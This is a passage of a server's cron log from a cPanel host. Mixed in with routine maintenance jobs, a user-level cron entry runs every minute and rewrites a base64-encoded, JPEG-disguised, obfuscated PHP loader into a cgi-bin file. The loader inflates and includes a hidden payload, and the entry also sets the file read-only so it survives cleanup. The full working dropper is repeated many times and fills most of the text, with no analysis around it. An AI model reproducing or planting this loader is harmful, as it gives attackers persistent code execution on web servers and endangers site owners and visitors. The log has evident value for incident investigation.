6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:26:01 server CROND[18995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:26:01 server CROND[18996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:26:01 server CROND[18994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:27:01 server CROND[19390]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:27:01 server CROND[19391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:27:01 server CROND[19392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:27:01 server CROND[19393]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 10:28:01 server CROND[19773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:28:01 server CROND[19774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:28:01 server CROND[19775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:29:01 server CROND[20224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:29:01 server CROND[20225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:29:01 server CROND[20226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:30:01 server CROND[20696]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:30:01 server CROND[20697]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:30:01 server CROND[20701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:30:01 server CROND[20702]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:30:01 server CROND[20703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:30:01 server CROND[20705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:30:01 server CROND[20706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:30:01 server CROND[20707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:31:01 server CROND[21557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:31:01 server CROND[21558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:31:01 server CROND[21559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:32:01 server CROND[21934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:32:01 server CROND[21935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:32:01 server CROND[21936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:33:01 server CROND[22366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:33:01 server CROND[22367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:33:01 server CROND[22368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:34:01 server CROND[22749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:34:01 server CROND[22750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:34:01 server CROND[22751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:35:01 server CROND[23303]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:35:01 server CROND[23305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:35:01 server CROND[23306]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 10:35:01 server CROND[23310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:35:01 server CROND[23313]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:35:01 server CROND[23311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:35:01 server CROND[23307]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 10:35:01 server CROND[23308]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:35:01 server CROND[23309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:36:01 server CROND[24224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:36:01 server CROND[24226]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:36:01 server CROND[24225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:37:01 server CROND[24610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:37:01 server CROND[24611]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:37:01 server CROND[24609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:38:01 server CROND[25010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:38:01 server CROND[25011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
